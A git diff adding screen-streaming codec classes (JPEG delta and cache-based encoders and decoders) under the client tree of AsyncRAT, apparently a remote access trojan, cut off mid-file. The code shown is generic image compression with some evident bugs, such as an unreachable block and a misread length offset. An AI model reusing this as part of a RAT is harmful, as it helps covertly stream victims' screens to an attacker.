@@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class DirectDriverCodec + { + private Bitmap decodedBitmap; + + private byte[] EncodeBuffer; + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private JpgCompression jpgCompression; + + public DirectDriverCodec(int Quality) + { + jpgCompression = new JpgCompression(Quality); + } + + public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + for (int i = 0; i < Changes.Length; i++) + { + Rectangle rect = Changes[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + } + + public Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + return decodedBitmap; + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs new file mode 100644 index 0000000..072ff3e --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs @@ -0,0 +1,68 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + /// + /// The M-JPG codec is not very efficient for networking as it is just a very simple codec + /// + public class MJPGCodec : IVideoCodec + { + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override ulong CachedSize + { + get { return 0; } + internal set { } + } + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.None; } + } + + public MJPGCodec(int ImageQuality = 100) + : base(ImageQuality) + { + + } + + public override void CodeImage(Bitmap bitmap, Stream outStream) + { + lock (base.jpgCompression) + { + byte[] data = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(data.Length), 0, 4); + outStream.Write(data, 0, data.Length); + } + } + + public override Bitmap DecodeData(Stream inStream) + { + lock (base.jpgCompression) + { + if (!inStream.CanRead) + throw new Exception("Must have access to Read in the Stream"); + + byte[] temp = new byte[4]; + inStream.Read(temp, 0, temp.Length); + int DataLength = BitConverter.ToInt32(temp, 0); + temp = new byte[DataLength]; + inStream.Read(temp, 0, temp.Length); + return (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs new file mode 100644 index 0000000..e9dc63c --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs @@ -0,0 +1,204 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class QuickCachedStreamCodec : IVideoCodec + { + private Bitmap CodeTempBitmap; + private Bitmap DecodeTempBitmap; + + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + public override ulong CachedSize + { + get; + internal set; + } + + public int MaxBuffers { get; private set; } + private SortedList EncodeCache; + private SortedList DecodeCache; + + + /// + /// Initialize a new object of QuickStreamCodec + /// + /// The image quality 0-100% + public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) + : base(ImageQuality) + { + this.MaxBuffers = MaxBuffers; + this.EncodeCache = new SortedList(); + this.DecodeCache = new SortedList(); + } + + public override int BufferCount + { + get { return 1; } + } + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } + } + + public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (CodeTempBitmap != null) + { + if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + + if (CodeTempBitmap == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + CodeTempBitmap = bitmap; + return; + } + + BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + int Stride = Math.Abs(bmpData.Stride); + + List Blocks = new List(); + + for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) + { + if (onCodeDebugScan != null) + onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); + + Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); + if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) + { + byte[] temp = new byte[Stride]; + fixed(byte* ptr = temp) + { + NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length); + } + + CRC32 hasher = new CRC32(); + int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0); + + if (EncodeCache.Count >= MaxBuffers) + EncodeCache.RemoveAt(0); + + if (EncodeCache.ContainsKey(hash)) + { + outStream.WriteByte(1); + outStream.Write(new byte[4], 0, 4); + outStream.Write(BitConverter.GetBytes(hash), 0, 4); + outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); + } + else + { + outStream.WriteByte(0); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(BitConverter.GetBytes(hash), 0, 4); + outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); + outStream.Write(temp, 0, temp.Length); + EncodeCache.Add(hash, temp); + } + Blocks.Add(ScanBlock); + } + } + + for (int i = 0; i < Blocks.Count; i++) + { + Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); + byte[] temp = base.jpgCompression.Compress(cloned); + + cloned.Dispose(); + } + + bitmap.UnlockBits(bmpData); + CodeTempBitmap.UnlockBits(CodeBmpData); + + if (onVideoStreamCoding != null) + onVideoStreamCoding(outStream, Blocks.ToArray()); + + if (CodeTempBitmap != null) + CodeTempBitmap.Dispose(); + this.CodeTempBitmap = bitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + if (!inStream.CanRead) + throw new Exception("Must have access to Read in the Stream"); + + if (DecodeTempBitmap == null) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return DecodeTempBitmap; + } + + //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); + //int Stride = Math.Abs(BmpData.Stride); + + while (inStream.Position < inStream.Length) + { + byte[] temp = new byte[11]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + bool inCache = temp[0] == 1; + int DataSize = BitConverter.ToInt32(temp, 1); + int Hash = BitConverter.ToInt32(temp, 5); + ushort Y = BitConverter.ToUInt16(temp, 9); + + temp = new byte[DataSize]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + if (inCache) + { + if (DecodeCache.ContainsKey(Hash)) + { + temp = DecodeCache[Hash]; + } + else + { + + } + } + + //copy new data to cached bitmap + Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) + { + g.DrawImage(tmpBmp, new Point(0, Y)); + } + + /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); + int Offset = Y * Stride; + NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ + //tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + } + //DecodeTempBitmap.UnlockBits(BmpData); + + return DecodeTempBitmap; + } + } +} diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs new file mode 100644 index 0000000..ee8227c --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs @@ -0,0 +1,179 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class QuickStreamCodec : IVideoCodec + { + private Bitmap CodeTempBitmap; + private Bitmap DecodeTempBitmap; + + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + public override ulong CachedSize + { + get; + internal set; + } + + /// + /// Initialize a new object of QuickStreamCodec + /// + /// The image quality 0-100% + public QuickStreamCodec(int ImageQuality = 100) + : base(ImageQuality) + { + + } + + public override int BufferCount + { + get { return 1; } + } + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } + } + + public override void CodeImage(Bitmap bitmap, Stream outStream) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (CodeTempBitmap != null) + { + if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + + if (CodeTempBitmap == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + CodeTempBitmap = bitmap; + return; + } + + BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); + int Stride = Math.Abs(bmpData.Stride); + + List Blocks = new List(); + + for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) + { + if(onCodeDebugScan != null) + onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); + + Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); + if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) + { + int index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y) + { + ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height); + Blocks[index] = ScanBlock; + } + else + { + Blocks.Add(ScanBlock); + } + } + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + for (int i = 0; i < Blocks.Count; i++) + { + Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); + byte[] temp = base.jpgCompression.Compress(cloned); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2); + outStream.Write(temp, 0, temp.Length); + cloned.Dispose(); + TotalDataLength += 6 + temp.Length; + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + + bitmap.UnlockBits(bmpData); + CodeTempBitmap.UnlockBits(CodeBmpData); + + if (onVideoStreamCoding != null) + onVideoStreamCoding(outStream, Blocks.ToArray()); + + if (CodeTempBitmap != null) + CodeTempBitmap.Dispose(); + this.CodeTempBitmap = bitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + if (!inStream.CanRead) + throw new Exception("Must have access to Read in the Stream"); + + if (DecodeTempBitmap == null) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 4); + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return DecodeTempBitmap; + } + + + byte[] LenTemp = new byte[4]; + inStream.Read(LenTemp, 0, 4); + int DataLength = BitConverter.ToInt32(LenTemp, 0); + + //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); + //int Stride = Math.Abs(BmpData.Stride); + + while (DataLength > 0) + { + byte[] temp = new byte[6]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + int DataSize = BitConverter.ToInt32(temp, 0); + ushort Y = BitConverter.ToUInt16(temp, 4); + temp = new byte[DataSize]; + if (inStream.Read(temp, 0, temp.Length) != temp.Length) + break; + + //copy new data to cached bitmap + Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) + { + g.DrawImage(tmpBmp, new Point(0, Y)); + } + + /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); + int Offset = Y * Stride; + NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ + //tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + DataLength -= 6 + temp.Length; + } + //DecodeTempBitmap.UnlockBits(BmpData); + + return DecodeTempBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs new file mode 100644 index 0000000..85155be --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs @@ -0,0 +1,374 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class SmallCachedStreamCodec : IVideoCodec + { + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + SortedList codeCached; + SortedList decodeCached; + public override int BufferCount + { + get { return codeCached.Count; } + } + public override ulong CachedSize + { + get; + internal set; + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; } + } + + private Size CheckBlock { get; set; } + public SimpleBitmap LastFrame { get; set; } + private object ImageProcessLock = new object(); + private Bitmap decodedBitmap; + private CRC32 hasher; + public int MaxBuffers { get; private set; } + + /// + /// Initialize a new object of SmallCachedStreamCodec + /// + /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance + /// The image quality 0-100% + public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) + : base(ImageQuality) + { + CheckBlock = new Size(20, 1); + codeCached = new SortedList(); + decodeCached = new SortedList(); + hasher = new CRC32(); + this.MaxBuffers = MaxBuffers; + } + + private void SetLastFrame(ref Bitmap bmp) + { + SetLastFrame(new SimpleBitmap(bmp)); + } + private void SetLastFrame(SimpleBitmap bmp) + { + lock (ImageProcessLock) + { + if (LastFrame != null && LastFrame.Locked) + LastFrame.Dispose(true); + LastFrame = bmp; + } + } + + public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) + { + lock (ImageProcessLock) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (LastFrame == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + SetLastFrame(ref bitmap); + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List updates = new List(); + SimpleBitmap sbBmp = new SimpleBitmap(bitmap); + MemoryStream ms = new MemoryStream(); + byte[] buffer = null; + + if (!LastFrame.Locked) + LastFrame.Lock(); + + sbBmp.Lock(); + + if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) + { + sbBmp.Unlock(); + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + List Blocks = new List(); + int index = 0; + + int y = 0; + int x = 0; + + Size s = new Size(bitmap.Width, CheckBlock.Height); + Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); + + int lasty = bitmap.Height - lastSize.Height; + int lastx = bitmap.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + + s = new Size(bitmap.Width, s.Height); + while (y != bitmap.Height) + { + if (y == lasty) + s = new Size(bitmap.Width, lastSize.Height); + + cBlock = new Rectangle(0, y, bitmap.Width, s.Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + { + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + List finalUpdates = new List(); + const int CheckHeight = 50; + for (int i = 0; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + y = Blocks[i].Y; + lasty = (Blocks[i].Y + Blocks[i].Height); + + while (y != lasty) + { + int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight; + x = 0; + while (x != bitmap.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + cBlock = new Rectangle(x, y, s.Width, ScanHeight); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) + { + /*byte[] tempData = new byte[0]; + LastFrame.CopyBlock(cBlock, ref tempData); + finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/ + + //hash it and see if exists in cache + hasher = new CRC32(); //re-initialize for seed + byte[] tempData = new byte[0]; + LastFrame.CopyBlock(cBlock, ref tempData); + int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0); + + if (codeCached.Count >= MaxBuffers) + codeCached.RemoveAt(0); + + if (codeCached.ContainsKey(hash)) + { + CachedSize += (ulong)tempData.Length; + finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock)); + } + else + { + //nothing found in cache let's use the normal way + codeCached.Add(hash, tempData); + finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock)); + } + } + x += s.Width; + } + y += ScanHeight; + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + buffer = new byte[0]; + Rectangle rect = finalUpdates[i].Rect; + + if (!finalUpdates[i].isCached) + { + fixed (byte* ptr = finalUpdates[i].Data) + { + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) + { + buffer = base.jpgCompression.Compress(TmpBmp); + } + } + } + + outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4); + outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4); + outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); + outStream.Write(buffer, 0, buffer.Length); + TotalDataLength += buffer.Length + (4 * 6) + 1; + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + + Blocks.Clear(); + SetLastFrame(sbBmp); + ms.Close(); + ms.Dispose(); + } + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + List cacheInfo = new List(); + byte[] HeaderData = new byte[(4 * 6) + 1]; + + while (DataSize > 0) + { + inStream.Read(HeaderData, 0, HeaderData.Length); + + bool isCached = HeaderData[0] == 1; + rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5), + BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13)); + int Hash = BitConverter.ToInt32(HeaderData, 17); + int UpdateLen = BitConverter.ToInt32(HeaderData, 21); + + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + //process update data + if (isCached) + { + //data is cached + if (decodeCached.ContainsKey(Hash)) + buffer = decodeCached[Hash]; + else + { + + } + cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect)); + } + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + if (buffer.Length > 0) + { + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + + tmp.Dispose(); + m.Close(); + m.Dispose(); + } + + if (decodeCached.Count >= MaxBuffers) + decodeCached.RemoveAt(0); + + if(!decodeCached.ContainsKey(Hash)) + this.decodeCached.Add(Hash, buffer); + DataSize -= UpdateLen + HeaderData.Length; + } + + int CachedSize = 0; + foreach(CacheInfo inf in cacheInfo) + { + CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height; + + + } + Console.WriteLine(cacheInfo.Count + ", " + CachedSize); + g.Dispose(); + return decodedBitmap; + } + + private class CacheInfo + { + public bool isCached = false; + public byte[] Data; + public int Hash; + public Rectangle Rect; + + public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect) + { + this.Hash = Hash; + this.isCached = isCached; + this.Data = Data; + this.Rect = Rect; + } + + /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec) + { + if (ScanRects.Count > 0) + { + int scanX = ScanRects[0].X; + for (int i = 0; i < ScanRects.Count; i++) + { + int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width; + Rectangle rect = ScanRects[i]; + rect.Width = scanWidth; + rect.X = scanX; + byte[] buffer = new byte[0]; + sBmp.CopyBlock(rect, ref buffer); + + int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0); + + if (!HashList.ContainsKey(hash)) + HashList.Add(hash, rect); + + //fixed (byte* ptr = buffer) + //{ + // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr))) + // { + // buffer = codec.lzwCompression.Compress(TmpBmp); + // + // } + //} + + scanX += scanWidth; + } + } + }*/ + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs new file mode 100644 index 0000000..0dea684 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs @@ -0,0 +1,266 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class SmallStreamCodec : IVideoCodec + { + public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; + public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 1; } + } + public override ulong CachedSize + { + get; + internal set; + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + + public Size CheckBlock { get; set; } + public SimpleBitmap LastFrame { get; set; } + private object ImageProcessLock = new object(); + private Bitmap decodedBitmap; + + /// + /// Initialize 